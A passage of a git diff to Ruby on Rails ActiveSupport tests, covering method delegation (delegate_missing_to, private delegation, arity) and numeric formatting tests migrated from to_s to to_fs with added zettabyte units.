     project = Project.new(false, false)
     assert_raise(NoMethodError) { project.name }
@@ -329,35 +434,284 @@ def test_delegation_doesnt_mask_nested_no_method_error_on_nil_receiver
 
   def test_delegation_with_method_arguments
     has_block = HasBlock.new(Block.new)
-    assert has_block.hello?
+    assert_predicate has_block, :hello?
   end
 
-  def test_delegate_to_missing_with_method
+  def test_delegate_missing_to_with_method
     assert_equal "David", DecoratedTester.new(@david).name
   end
 
-  def test_delegate_to_missing_with_reserved_methods
+  def test_delegate_missing_to_calling_on_self
+    assert_equal "David", DecoratedTester.new(@david).call_name
+  end
+
+  def test_delegate_missing_to_with_reserved_methods
     assert_equal "David", DecoratedReserved.new(@david).name
   end
 
-  def test_delegate_to_missing_does_not_delegate_to_private_methods
+  def test_delegate_missing_to_with_keyword_methods
+    assert_equal "David", DecoratedReserved.new(@david).kw_send(method: "name")
+  end
+
+  def test_delegate_missing_to_does_not_delegate_to_private_methods
     e = assert_raises(NoMethodError) do
       DecoratedReserved.new(@david).private_name
     end
 
-    assert_match(/undefined method `private_name' for/, e.message)
+    assert_match(/undefined method [`']private_name' for/, e.message)
   end
 
-  def test_delegate_to_missing_does_not_delegate_to_fake_methods
+  def test_delegate_missing_to_does_not_delegate_to_fake_methods
     e = assert_raises(NoMethodError) do
       DecoratedReserved.new(@david).my_fake_method
     end
 
-    assert_match(/undefined method `my_fake_method' for/, e.message)
+    assert_match(/undefined method [`']my_fake_method' for/, e.message)
+  end
+
+  def test_delegate_missing_to_raises_delegation_error_if_target_nil
+    e = assert_raises(Module::DelegationError) do
+      DecoratedTester.new(nil).name
+    end
+
+    assert_equal "name delegated to client, but client is nil", e.message
+  end
+
+  def test_delegate_missing_to_returns_nil_if_allow_nil_and_nil_target
+    assert_nil DecoratedMissingAllowNil.new(nil).name
+  end
+
+  def test_delegate_missing_with_allow_nil_when_called_on_self
+    assert_nil DecoratedMissingAllowNil.new(nil).call_name
+  end
+
+  def test_delegate_missing_to_affects_respond_to
+    assert_respond_to DecoratedTester.new(@david), :name
+    assert_not_respond_to DecoratedTester.new(@david), :private_name
+    assert_not_respond_to DecoratedTester.new(@david), :my_fake_method
+
+    assert DecoratedTester.new(@david).respond_to?(:name, true)
+    assert_not DecoratedTester.new(@david).respond_to?(:private_name, true)
+    assert_not DecoratedTester.new(@david).respond_to?(:my_fake_method, true)
+  end
+
+  def test_delegate_missing_to_respects_superclass_missing
+    assert_equal 42, DecoratedTester.new(@david).extra_missing
+
+    assert_respond_to DecoratedTester.new(@david), :extra_missing
+  end
+
+  def test_delegate_missing_to_does_not_interfere_with_marshallization
+    maze = Maze.new
+    maze.cavern = Cavern.new(maze)
+
+    array = [maze, nil]
+    serialized_array = Marshal.dump(array)
+    deserialized_array = Marshal.load(serialized_array)
+
+    assert_nil deserialized_array[1]
+  end
+
+  def test_delegate_to_missing_raises_delegation_error_on_basic_object
+    cavern = BasicCavern.new(nil)
+
+    assert_raises(Module::DelegationError) do
+      cavern.some_method
+    end
+  end
+
+  def test_delegate_raises_delegation_error_on_basic_object
+    cavern = BasicEvent.new(nil)
+
+    assert_raises(Module::DelegationError) do
+      cavern.foo
+    end
   end
 
   def test_delegate_with_case
     event = Event.new(Tester.new)
     assert_equal 1, event.foo
   end
+
+  def test_private_delegate
+    location = Class.new do
+      def initialize(place)
+        @place = place
+      end
+
+      private(*delegate(:street, :city, to: :@place))
+    end
+
+    place = location.new(Somewhere.new("Such street", "Sad city"))
+
+    assert_not_respond_to place, :street
+    assert_not_respond_to place, :city
+
+    assert place.respond_to?(:street, true) # Asking for private method
+    assert place.respond_to?(:city, true)
+  end
+
+  def test_private_delegate_prefixed
+    location = Class.new do
+      def initialize(place)
+        @place = place
+      end
+
+      private(*delegate(:street, :city, to: :@place, prefix: :the))
+    end
+
+    place = location.new(Somewhere.new("Such street", "Sad city"))
+
+    assert_not_respond_to place, :street
+    assert_not_respond_to place, :city
+
+    assert_not_respond_to place, :the_street
+    assert place.respond_to?(:the_street, true)
+    assert_not_respond_to place, :the_city
+    assert place.respond_to?(:the_city, true)
+  end
+
+  def test_private_delegate_with_private_option
+    location = Class.new do
+      def initialize(place)
+        @place = place
+      end
+
+      delegate(:street, :city, to: :@place, private: true)
+    end
+
+    place = location.new(Somewhere.new("Such street", "Sad city"))
+
+    assert_not_respond_to place, :street
+    assert_not_respond_to place, :city
+
+    assert place.respond_to?(:street, true) # Asking for private method
+    assert place.respond_to?(:city, true)
+  end
+
+  def test_some_public_some_private_delegate_with_private_option
+    location = Class.new do
+      def initialize(place)
+        @place = place
+      end
+
+      delegate(:street, to: :@place)
+      delegate(:city, to: :@place, private: true)
+    end
+
+    place = location.new(Somewhere.new("Such street", "Sad city"))
+
+    assert_respond_to place, :street
+    assert_not_respond_to place, :city
+
+    assert place.respond_to?(:city, true) # Asking for private method
+  end
+
+  def test_private_delegate_prefixed_with_private_option
+    location = Class.new do
+      def initialize(place)
+        @place = place
+      end
+
+      delegate(:street, :city, to: :@place, prefix: :the, private: true)
+    end
+
+    place = location.new(Somewhere.new("Such street", "Sad city"))
+
+    assert_not_respond_to place, :the_street
+    assert place.respond_to?(:the_street, true)
+    assert_not_respond_to place, :the_city
+    assert place.respond_to?(:the_city, true)
+  end
+
+  def test_delegate_with_private_option_returns_names_of_delegate_methods
+    location = Class.new do
+      def initialize(place)
+        @place = place
+      end
+    end
+
+    assert_equal [:street, :city],
+      location.delegate(:street, :city, to: :@place, private: true)
+
+    assert_equal [:the_street, :the_city],
+      location.delegate(:street, :city, to: :@place, prefix: :the, private: true)
+  end
+
+  def test_module_nesting_is_empty
+    # Ensure constant resolution is done from top level namespace and not ActiveSupport
+    require "json"
+    c = Class.new do
+      singleton_class.delegate :parse, to: ::JSON
+    end
+    assert_equal [1], c.parse("[1]")
+  end
+
+  def test_delegation_unreacheable_module
+    anonymous_class = Class.new
+    error = assert_raises ArgumentError do
+      Class.new do
+        delegate :something, to: anonymous_class
+      end
+    end
+    assert_includes error.message, "Can't delegate to anonymous class or module"
+
+    anonymous_class.singleton_class.define_method(:name) { "FakeName" }
+    error = assert_raises ArgumentError do
+      Class.new do
+        delegate :something, to: anonymous_class
+      end
+    end
+    assert_includes error.message, "Can't delegate to detached class or module: FakeName"
+  end
+
+  def test_delegation_arity_to_module
+    c = Class.new do
+      delegate :zero, :one, :two, to: ArityTester
+    end
+    assert_equal 0, c.instance_method(:zero).arity
+    assert_equal 1, c.instance_method(:one).arity
+    assert_equal 2, c.instance_method(:two).arity
+
+    e = Class.new do
+      delegate :zero, to: ArityTesterModule
+    end
+
+    assert_equal 0, e.instance_method(:zero).arity
+    assert_nothing_raised do
+      e.new.zero
+    end
+  end
+
+  def test_delegation_arity_to_self_class
+    d = Class.new(ArityTester) do
+      delegate :zero, :zero_with_block, :zero_with_implicit_block, :one, :one_with_block, :two, :opt,
+        :kwargs, :kwargs_with_block, :opt_kwargs, :opt_kwargs_with_block, to: :class
+    end
+
+    assert_equal 0, d.instance_method(:zero).arity
+    assert_equal 0, d.instance_method(:zero_with_block).arity
+    assert_equal 0, d.instance_method(:zero_with_implicit_block).arity
+    assert_equal 1, d.instance_method(:one).arity
+    assert_equal 1, d.instance_method(:one_with_block).arity
+    assert_equal 2, d.instance_method(:two).arity
+    assert_equal(-1, d.instance_method(:opt).arity)
+    assert_equal(-1, d.instance_method(:kwargs).arity)
+    assert_equal(-1, d.instance_method(:kwargs_with_block).arity)
+    assert_equal(-1, d.instance_method(:opt_kwargs).arity)
+    assert_equal(-1, d.instance_method(:opt_kwargs_with_block).arity)
+    assert_nothing_raised do
+      d.new.zero
+      d.new.zero_with_block
+      d.new.zero_with_implicit_block { }
+      d.new.one(1)
+      d.new.one_with_block(1)
+      d.new.two(1, 2)
+      d.new.opt(1, 2, 3)
+      d.new.kwargs(a: 1, b: 2)
+      d.new.kwargs_with_block(a: 1, b: 2, c: 3)
+      d.new.opt_kwargs(a: 1)
+      d.new.opt_kwargs_with_block(a: 1, b: 2, c: 3)
+    end
+  end
 end
diff --git a/activesupport/test/core_ext/name_error_test.rb b/activesupport/test/core_ext/name_error_test.rb
index fdb9493d3c832..67cdbd1d91fa8 100644
--- a/activesupport/test/core_ext/name_error_test.rb
+++ b/activesupport/test/core_ext/name_error_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/name_error"
 
 class NameErrorTest < ActiveSupport::TestCase
@@ -9,13 +11,15 @@ def test_name_error_should_set_missing_name
     assert_equal "NameErrorTest::SomeNameThatNobodyWillUse____Really", exc.missing_name
     assert exc.missing_name?(:SomeNameThatNobodyWillUse____Really)
     assert exc.missing_name?("NameErrorTest::SomeNameThatNobodyWillUse____Really")
+    assert_equal NameErrorTest, exc.receiver
   end
 
   def test_missing_method_should_ignore_missing_name
     exc = assert_raise NameError do
       some_method_that_does_not_exist
     end
-    assert !exc.missing_name?(:Foo)
+    assert_not exc.missing_name?(:Foo)
     assert_nil exc.missing_name
+    assert_equal self, exc.receiver
   end
 end
diff --git a/activesupport/test/core_ext/numeric_ext_test.rb b/activesupport/test/core_ext/numeric_ext_test.rb
index 3cfbe6e7e6727..a2ae3853b73ad 100644
--- a/activesupport/test/core_ext/numeric_ext_test.rb
+++ b/activesupport/test/core_ext/numeric_ext_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/time"
 require "active_support/core_ext/numeric"
 require "active_support/core_ext/integer"
@@ -71,6 +73,10 @@ def test_add_one_year_to_leap_day
     assert_equal Time.utc(2005, 2, 28, 15, 15, 10), Time.utc(2004, 2, 29, 15, 15, 10) + 1.year
     assert_equal DateTime.civil(2005, 2, 28, 15, 15, 10), DateTime.civil(2004, 2, 29, 15, 15, 10) + 1.year
   end
+
+  def test_in_milliseconds
+    assert_equal 10_000, 10.seconds.in_milliseconds
+  end
 end
 
 class NumericExtDateTest < ActiveSupport::TestCase
@@ -108,6 +114,7 @@ def test_unit_in_terms_of_another
     assert_equal 256.megabytes * 20 + 5.gigabytes, 10.gigabytes
     assert_equal 1.kilobyte**5, 1.petabyte
     assert_equal 1.kilobyte**6, 1.exabyte
+    assert_equal 1.kilobyte**7, 1.zettabyte
   end
 
   def test_units_as_bytes_independently
@@ -123,6 +130,8 @@ def test_units_as_bytes_independently
     assert_equal 3377699720527872, 3.petabyte
     assert_equal 3458764513820540928, 3.exabytes
     assert_equal 3458764513820540928, 3.exabyte
+    assert_equal 3541774862152233910272, 3.zettabytes
+    assert_equal 3541774862152233910272, 3.zettabyte
   end
 end
 
@@ -151,339 +160,292 @@ def exabytes(number)
     petabytes(number) * 1024
   end
 
-  def test_to_s__phone
-    assert_equal("555-1234", 5551234.to_s(:phone))
-    assert_equal("800-555-1212", 8005551212.to_s(:phone))
-    assert_equal("(800) 555-1212", 8005551212.to_s(:phone, area_code: true))
-    assert_equal("800 555 1212", 8005551212.to_s(:phone, delimiter: " "))
-    assert_equal("(800) 555-1212 x 123", 8005551212.to_s(:phone, area_code: true, extension: 123))
-    assert_equal("800-555-1212", 8005551212.to_s(:phone, extension: "  "))
-    assert_equal("555.1212", 5551212.to_s(:phone, delimiter: "."))
-    assert_equal("+1-800-555-1212", 8005551212.to_s(:phone, country_code: 1))
-    assert_equal("+18005551212", 8005551212.to_s(:phone, country_code: 1, delimiter: ""))
-    assert_equal("22-555-1212", 225551212.to_s(:phone))
-    assert_equal("+45-22-555-1212", 225551212.to_s(:phone, country_code: 45))
-  end
-
-  def test_to_s__currency
-    assert_equal("$1,234,567,890.50", 1234567890.50.to_s(:currency))
-    assert_equal("$1,234,567,890.51", 1234567890.506.to_s(:currency))
-    assert_equal("-$1,234,567,890.50", -1234567890.50.to_s(:currency))
-    assert_equal("-$ 1,234,567,890.50", -1234567890.50.to_s(:currency, format: "%u %n"))
-    assert_equal("($1,234,567,890.50)", -1234567890.50.to_s(:currency, negative_format: "(%u%n)"))
-    assert_equal("$1,234,567,892", 1234567891.50.to_s(:currency, precision: 0))
-    assert_equal("$1,234,567,890.5", 1234567890.50.to_s(:currency, precision: 1))
-    assert_equal("&pound;1234567890,50", 1234567890.50.to_s(:currency, unit: "&pound;", separator: ",", delimiter: ""))
-  end
-
-  def test_to_s__rounded
-    assert_equal("-111.235", -111.2346.to_s(:rounded))
-    assert_equal("111.235", 111.2346.to_s(:rounded))
-    assert_equal("31.83", 31.825.to_s(:rounded, precision: 2))
-    assert_equal("111.23", 111.2346.to_s(:rounded, precision: 2))
-    assert_equal("111.00", 111.to_s(:rounded, precision: 2))
-    assert_equal("3268", (32.6751 * 100.00).to_s(:rounded, precision: 0))
-    assert_equal("112", 111.50.to_s(:rounded, precision: 0))
-    assert_equal("1234567892", 1234567891.50.to_s(:rounded, precision: 0))
-    assert_equal("0", 0.to_s(:rounded, precision: 0))
-    assert_equal("0.00100", 0.001.to_s(:rounded, precision: 5))
-    assert_equal("0.001", 0.00111.to_s(:rounded, precision: 3))
-    assert_equal("10.00", 9.995.to_s(:rounded, precision: 2))
-    assert_equal("11.00", 10.995.to_s(:rounded, precision: 2))
-    assert_equal("0.00", -0.001.to_s(:rounded, precision: 2))
-  end
-
-  def test_to_s__percentage
-    assert_equal("100.000%", 100.to_s(:percentage))
-    assert_equal("100%", 100.to_s(:percentage, precision: 0))
-    assert_equal("302.06%", 302.0574.to_s(:percentage, precision: 2))
-    assert_equal("123.4%", 123.400.to_s(:percentage, precision: 3, strip_insignificant_zeros: true))
-    assert_equal("1.000,000%", 1000.to_s(:percentage, delimiter: ".", separator: ","))
-    assert_equal("1000.000  %", 1000.to_s(:percentage, format: "%n  %"))
-  end
-
-  def test_to_s__delimited
-    assert_equal("12,345,678", 12345678.to_s(:delimited))
-    assert_equal("0", 0.to_s(:delimited))
-    assert_equal("123", 123.to_s(:delimited))
-    assert_equal("123,456", 123456.to_s(:delimited))
-    assert_equal("123,456.78", 123456.78.to_s(:delimited))
-    assert_equal("123,456.789", 123456.789.to_s(:delimited))
-    assert_equal("123,456.78901", 123456.78901.to_s(:delimited))
-    assert_equal("123,456,789.78901", 123456789.78901.to_s(:delimited))
-    assert_equal("0.78901", 0.78901.to_s(:delimited))
-  end
-
-  def test_to_s__delimited__with_options_hash
-    assert_equal "12 345 678", 12345678.to_s(:delimited, delimiter: " ")
-    assert_equal "12,345,678-05", 12345678.05.to_s(:delimited, separator: "-")
-    assert_equal "12.345.678,05", 12345678.05.to_s(:delimited, separator: ",", delimiter: ".")
-    assert_equal "12.345.678,05", 12345678.05.to_s(:delimited, delimiter: ".", separator: ",")
-  end
-
-  def test_to_s__rounded_with_custom_delimiter_and_separator
-    assert_equal "31,83",       31.825.to_s(:rounded, precision: 2, separator: ",")
-    assert_equal "1.231,83",    1231.825.to_s(:rounded, precision: 2, separator: ",", delimiter: ".")
-  end
-
-  def test_to_s__rounded__with_significant_digits
-    assert_equal "124000", 123987.to_s(:rounded, precision: 3, significant: true)
-    assert_equal "120000000", 123987876.to_s(:rounded, precision: 2, significant: true)
-    assert_equal "9775", 9775.to_s(:rounded, precision: 4, significant: true)
-    assert_equal "5.4", 5.3923.to_s(:rounded, precision: 2, significant: true)
-    assert_equal "5", 5.3923.to_s(:rounded, precision: 1, significant: true)
-    assert_equal "1", 1.232.to_s(:rounded, precision: 1, significant: true)
-    assert_equal "7", 7.to_s(:rounded, precision: 1, significant: true)
-    assert_equal "1", 1.to_s(:rounded, precision: 1, significant: true)
-    assert_equal "53", 52.7923.to_s(:rounded, precision: 2, significant: true)
-    assert_equal "9775.00", 9775.to_s(:rounded, precision: 6, significant: true)
-    assert_equal "5.392900", 5.3929.to_s(:rounded, precision: 7, significant: true)
-    assert_equal "0.0", 0.to_s(:rounded, precision: 2, significant: true)
-    assert_equal "0", 0.to_s(:rounded, precision: 1, significant: true)
-    assert_equal "0.0001", 0.0001.to_s(:rounded, precision: 1, significant: true)
-    assert_equal "0.000100", 0.0001.to_s(:rounded, precision: 3, significant: true)
-    assert_equal "0.0001", 0.0001111.to_s(:rounded, precision: 1, significant: true)
-    assert_equal "10.0", 9.995.to_s(:rounded, precision: 3, significant: true)
-    assert_equal "9.99", 9.994.to_s(:rounded, precision: 3, significant: true)
-    assert_equal "11.0", 10.995.to_s(:rounded, precision: 3, significant: true)
-  end
-
-  def test_to_s__rounded__with_strip_insignificant_zeros
-    assert_equal "9775.43", 9775.43.to_s(:rounded, precision: 4, strip_insignificant_zeros: true)
-    assert_equal "9775.2", 9775.2.to_s(:rounded, precision: 6, significant: true, strip_insignificant_zeros: true)
-    assert_equal "0", 0.to_s(:rounded, precision: 6, significant: true, strip_insignificant_zeros: true)
-  end
-
-  def test_to_s__rounded__with_significant_true_and_zero_precision
+  def zettabytes(number)
+    exabytes(number) * 1024
+  end
+
+  def test_to_fs__phone
+    assert_equal("555-1234", 5551234.to_fs(:phone))
+    assert_equal("555-1234", 5551234.to_formatted_s(:phone))
+    assert_equal("800-555-1212", 8005551212.to_fs(:phone))
+    assert_equal("(800) 555-1212", 8005551212.to_fs(:phone, area_code: true))
+    assert_equal("800 555 1212", 8005551212.to_fs(:phone, delimiter: " "))
+    assert_equal("(800) 555-1212 x 123", 8005551212.to_fs(:phone, area_code: true, extension: 123))
+    assert_equal("800-555-1212", 8005551212.to_fs(:phone, extension: "  "))
+    assert_equal("555.1212", 5551212.to_fs(:phone, delimiter: "."))
+    assert_equal("+1-800-555-1212", 8005551212.to_fs(:phone, country_code: 1))
+    assert_equal("+18005551212", 8005551212.to_fs(:phone, country_code: 1, delimiter: ""))
+    assert_equal("22-555-1212", 225551212.to_fs(:phone))
+    assert_equal("+45-22-555-1212", 225551212.to_fs(:phone, country_code: 45))
+  end
+
+  def test_to_fs__currency
+    assert_equal("$1,234,567,890.50", 1234567890.50.to_fs(:currency))
+    assert_equal("$1,234,567,890.50", 1234567890.50.to_formatted_s(:currency))
+    assert_equal("$1,234,567,890.51", 1234567890.506.to_fs(:currency))
+    assert_equal("-$1,234,567,890.50", -1234567890.50.to_fs(:currency))
+    assert_equal("-$ 1,234,567,890.50", -1234567890.50.to_fs(:currency, format: "%u %n"))
+    assert_equal("($1,234,567,890.50)", -1234567890.50.to_fs(:currency, negative_format: "(%u%n)"))
+    assert_equal("$1,234,567,892", 1234567891.50.to_fs(:currency, precision: 0))
+    assert_equal("$1,234,567,891", 1234567891.50.to_fs(:currency, precision: 0, round_mode: :down))
+    assert_equal("$1,234,567,890.5", 1234567890.50.to_fs(:currency, precision: 1))
+    assert_equal("&pound;1234567890,50", 1234567890.50.to_fs(:currency, unit: "&pound;", separator: ",", delimiter: ""))
+  end
+
+  def test_to_fs__rounded
+    assert_equal("-111.235", -111.2346.to_fs(:rounded))
+    assert_equal("-111.235", -111.2346.to_formatted_s(:rounded))
+    assert_equal("111.235", 111.2346.to_fs(:rounded))
+    assert_equal("31.83", 31.825.to_fs(:rounded, precision: 2))
+    assert_equal("31.82", 31.825.to_fs(:rounded, precision: 2, round_mode: :down))
+    assert_equal("111.23", 111.2346.to_fs(:rounded, precision: 2))
+    assert_equal("111.00", 111.to_fs(:rounded, precision: 2))
+    assert_equal("3268", (32.6751 * 100.00).to_fs(:rounded, precision: 0))
+    assert_equal("112", 111.50.to_fs(:rounded, precision: 0))
+    assert_equal("1234567892", 1234567891.50.to_fs(:rounded, precision: 0))
+    assert_equal("0", 0.to_fs(:rounded, precision: 0))
+    assert_equal("0.00100", 0.001.to_fs(:rounded, precision: 5))
+    assert_equal("0.001", 0.00111.to_fs(:rounded, precision: 3))
+    assert_equal("10.00", 9.995.to_fs(:rounded, precision: 2))
+    assert_equal("11.00", 10.995.to_fs(:rounded, precision: 2))
+    assert_equal("0.00", -0.001.to_fs(:rounded, precision: 2))
+  end
+
+  def test_to_fs__rounded_with_custom_delimiter_and_separator
+    assert_equal "31,83",       31.825.to_fs(:rounded, precision: 2, separator: ",")
+    assert_equal "1.231,83",    1231.825.to_fs(:rounded, precision: 2, separator: ",", delimiter: ".")
+  end
+
+  def test_to_fs__rounded__with_significant_digits
+    assert_equal "124000", 123987.to_fs(:rounded, precision: 3, significant: true)
+    assert_equal "120000000", 123987876.to_fs(:rounded, precision: 2, significant: true)
+    assert_equal "9775", 9775.to_fs(:rounded, precision: 4, significant: true)
+    assert_equal "5.4", 5.3923.to_fs(:rounded, precision: 2, significant: true)
+    assert_equal "5", 5.3923.to_fs(:rounded, precision: 1, significant: true)
+    assert_equal "1", 1.232.to_fs(:rounded, precision: 1, significant: true)
+    assert_equal "7", 7.to_fs(:rounded, precision: 1, significant: true)
+    assert_equal "1", 1.to_fs(:rounded, precision: 1, significant: true)
+    assert_equal "53", 52.7923.to_fs(:rounded, precision: 2, significant: true)
+    assert_equal "9775.00", 9775.to_fs(:rounded, precision: 6, significant: true)
+    assert_equal "5.392900", 5.3929.to_fs(:rounded, precision: 7, significant: true)
+    assert_equal "0.0", 0.to_fs(:rounded, precision: 2, significant: true)
+    assert_equal "0", 0.to_fs(:rounded, precision: 1, significant: true)
+    assert_equal "0.0001", 0.0001.to_fs(:rounded, precision: 1, significant: true)
+    assert_equal "0.000100", 0.0001.to_fs(:rounded, precision: 3, significant: true)
+    assert_equal "0.0001", 0.0001111.to_fs(:rounded, precision: 1, significant: true)
+    assert_equal "10.0", 9.995.to_fs(:rounded, precision: 3, significant: true)
+    assert_equal "9.99", 9.994.to_fs(:rounded, precision: 3, significant: true)
+    assert_equal "11.0", 10.995.to_fs(:rounded, precision: 3, significant: true)
+    assert_equal "10.9", 10.995.to_fs(:rounded, precision: 3, significant: true, round_mode: :down)
+  end
+
+  def test_to_fs__rounded__with_strip_insignificant_zeros
+    assert_equal "9775.43", 9775.43.to_fs(:rounded, precision: 4, strip_insignificant_zeros: true)
+    assert_equal "9775.2", 9775.2.to_fs(:rounded, precision: 6, significant: true, strip_insignificant_zeros: true)
+    assert_equal "0", 0.to_fs(:rounded, precision: 6, significant: true, strip_insignificant_zeros: true)
+  end
+
+  def test_to_fs__rounded__with_significant_true_and_zero_precision
     # Zero precision with significant is a mistake (would always return zero),
     # so we treat it as if significant was false (increases backwards compatibility for number_to_human_size)
-    assert_equal "124", 123.987.to_s(:rounded, precision: 0, significant: true)
-    assert_equal "12", 12.to_s(:rounded, precision: 0, significant: true)
-  end
-
-  def test_to_s__human_size
-    assert_equal "0 Bytes",   0.to_s(:human_size)
-    assert_equal "1 Byte",    1.to_s(:human_size)
-    assert_equal "3 Bytes",   3.14159265.to_s(:human_size)
-    assert_equal "123 Bytes", 123.0.to_s(:human_size)
-    assert_equal "123 Bytes", 123.to_s(:human_size)
-    assert_equal "1.21 KB",   1234.to_s(:human_size)
-    assert_equal "12.1 KB",   12345.to_s(:human_size)
-    assert_equal "1.18 MB",   1234567.to_s(:human_size)
-    assert_equal "1.15 GB",   1234567890.to_s(:human_size)
-    assert_equal "1.12 TB",   1234567890123.to_s(:human_size)
-    assert_equal "1.1 PB",    1234567890123456.to_s(:human_size)
-    assert_equal "1.07 EB",   1234567890123456789.to_s(:human_size)
-    assert_equal "1030 EB",   exabytes(1026).to_s(:human_size)
-    assert_equal "444 KB",    kilobytes(444).to_s(:human_size)
-    assert_equal "1020 MB",   megabytes(1023).to_s(:human_size)
-    assert_equal "3 TB",      terabytes(3).to_s(:human_size)
-    assert_equal "1.2 MB",    1234567.to_s(:human_size, precision: 2)
-    assert_equal "3 Bytes",   3.14159265.to_s(:human_size, precision: 4)
-    assert_equal "1 KB",      kilobytes(1.0123).to_s(:human_size, precision: 2)
-    assert_equal "1.01 KB",   kilobytes(1.0100).to_s(:human_size, precision: 4)
-    assert_equal "10 KB",     kilobytes(10.000).to_s(:human_size, precision: 4)
-    assert_equal "1 Byte",    1.1.to_s(:human_size)
-    assert_equal "10 Bytes",  10.to_s(:human_size)
-  end
-
-  def test_to_s__human_size_with_options_hash
-    assert_equal "1.2 MB",   1234567.to_s(:human_size, precision: 2)
-    assert_equal "3 Bytes",  3.14159265.to_s(:human_size, precision: 4)
-    assert_equal "1 KB",     kilobytes(1.0123).to_s(:human_size, precision: 2)
-    assert_equal "1.01 KB",  kilobytes(1.0100).to_s(:human_size, precision: 4)
-    assert_equal "10 KB",    kilobytes(10.000).to_s(:human_size, precision: 4)
-    assert_equal "1 TB",     1234567890123.to_s(:human_size, precision: 1)
-    assert_equal "500 MB",   524288000.to_s(:human_size, precision: 3)
-    assert_equal "10 MB",    9961472.to_s(:human_size, precision: 0)
-    assert_equal "40 KB",    41010.to_s(:human_size, precision: 1)
-    assert_equal "40 KB",    41100.to_s(:human_size, precision: 2)
-    assert_equal "1.0 KB",   kilobytes(1.0123).to_s(:human_size, precision: 2, strip_insignificant_zeros: false)
-    assert_equal "1.012 KB", kilobytes(1.0123).to_s(:human_size, precision: 3, significant: false)
-    assert_equal "1 KB",     kilobytes(1.0123).to_s(:human_size, precision: 0, significant: true) #ignores significant it precision is 0
-  end
-
-  def test_to_s__human_size_with_custom_delimiter_and_separator
-    assert_equal "1,01 KB",     kilobytes(1.0123).to_s(:human_size, precision: 3, separator: ",")
-    assert_equal "1,01 KB",     kilobytes(1.0100).to_s(:human_size, precision: 4, separator: ",")
-    assert_equal "1.000,1 TB",  terabytes(1000.1).to_s(:human_size, precision: 5, delimiter: ".", separator: ",")
+    assert_equal "124", 123.987.to_fs(:rounded, precision: 0, significant: true)
+    assert_equal "12", 12.to_fs(:rounded, precision: 0, significant: true)
+  end
+
+  def test_to_fs__percentage
+    assert_equal("100.000%", 100.to_fs(:percentage))
+    assert_equal("100.000%", 100.to_formatted_s(:percentage))
+    assert_equal("100%", 100.to_fs(:percentage, precision: 0))
+    assert_equal("302.06%", 302.0574.to_fs(:percentage, precision: 2))
+    assert_equal("302.05%", 302.0574.to_fs(:percentage, precision: 2, round_mode: :down))
+    assert_equal("123.4%", 123.400.to_fs(:percentage, precision: 3, strip_insignificant_zeros: true))
+    assert_equal("1.000,000%", 1000.to_fs(:percentage, delimiter: ".", separator: ","))
+    assert_equal("1000.000  %", 1000.to_fs(:percentage, format: "%n  %"))
+  end
+
+  def test_to_fs__delimited
+    assert_equal("12,345,678", 12345678.to_fs(:delimited))
+    assert_equal("12,345,678", 12345678.to_formatted_s(:delimited))
+    assert_equal("0", 0.to_fs(:delimited))
+    assert_equal("123", 123.to_fs(:delimited))
+    assert_equal("123,456", 123456.to_fs(:delimited))
+    assert_equal("123,456.78", 123456.78.to_fs(:delimited))
+    assert_equal("123,456.789", 123456.789.to_fs(:delimited))
+    assert_equal("123,456.78901", 123456.78901.to_fs(:delimited))
+    assert_equal("123,456,789.78901", 123456789.78901.to_fs(:delimited))
+    assert_equal("0.78901", 0.78901.to_fs(:delimited))
+  end
+
+  def test_to_fs__delimited__with_options_hash
+    assert_equal "12 345 678", 12345678.to_fs(:delimited, delimiter: " ")
+    assert_equal "12,345,678-05", 12345678.05.to_fs(:delimited, separator: "-")
+    assert_equal "12.345.678,05", 12345678.05.to_fs(:delimited, separator: ",", delimiter: ".")
+    assert_equal "12.345.678,05", 12345678.05.to_fs(:delimited, delimiter: ".", separator: ",")
+  end
+
+  def test_to_fs__human_size
+    assert_equal "0 Bytes",   0.to_fs(:human_size)
+    assert_equal "1 Byte",    1.to_fs(:human_size)
+    assert_equal "3 Bytes",   3.14159265.to_fs(:human_size)
+    assert_equal "123 Bytes", 123.0.to_fs(:human_size)
+    assert_equal "123 Bytes", 123.to_fs(:human_size)
+    assert_equal "1.21 KB",   1234.to_fs(:human_size)
+    assert_equal "12.1 KB",   12345.to_fs(:human_size)
+    assert_equal "1.18 MB",   1234567.to_fs(:human_size)
+    assert_equal "1.15 GB",   1234567890.to_fs(:human_size)
+    assert_equal "1.12 TB",   1234567890123.to_fs(:human_size)
+    assert_equal "1.1 PB",    1234567890123456.to_fs(:human_size)
+    assert_equal "1.07 EB",   1234567890123456789.to_fs(:human_size)
+    assert_equal "1020 EB",   exabytes(1023).to_fs(:human_size)
+    assert_equal "16 ZB",     zettabytes(16).to_fs(:human_size)
+    assert_equal "444 KB",    kilobytes(444).to_fs(:human_size)
+    assert_equal "1020 MB",   megabytes(1023).to_fs(:human_size)
+    assert_equal "3 TB",      terabytes(3).to_fs(:human_size)
+    assert_equal "1.2 MB",    1234567.to_fs(:human_size, precision: 2)
+    assert_equal "3 Bytes",   3.14159265.to_fs(:human_size, precision: 4)
+    assert_equal "1 KB",      kilobytes(1.0123).to_fs(:human_size, precision: 2)
+    assert_equal "1.01 KB",   kilobytes(1.0100).to_fs(:human_size, precision: 4)
+    assert_equal "10 KB",     kilobytes(10.000).to_fs(:human_size, precision: 4)
+    assert_equal "1 Byte",    1.1.to_fs(:human_size)
+    assert_equal "10 Bytes",  10.to_fs(:human_size)
+  end
+
+  def test_to_fs__human_size_with_negative_number
+    assert_equal "-1 Bytes",   -1.to_fs(:human_size)
+    assert_equal "-3 Bytes",   -3.14159265.to_fs(:human_size)
+    assert_equal "-123 Bytes", -123.to_fs(:human_size)
+    assert_equal "-12.1 KB",   -12345.to_fs(:human_size)
+    assert_equal "-444 KB",    kilobytes(-444).to_fs(:human_size)
+    assert_equal "-1.12 TB",   -1234567890123.to_fs(:human_size)
+    assert_equal "-1.01 KB",   kilobytes(-1.0100).to_fs(:human_size, precision: 4)
+  end
+
+  def test_to_fs__human_size_with_options_hash
+    assert_equal "1.2 MB",   1234567.to_fs(:human_size, precision: 2)
+    assert_equal "3 Bytes",  3.14159265.to_fs(:human_size, precision: 4)
+    assert_equal "1 KB",     kilobytes(1.0123).to_fs(:human_size, precision: 2)
+    assert_equal "1.01 KB",  kilobytes(1.0100).to_fs(:human_size, precision: 4)
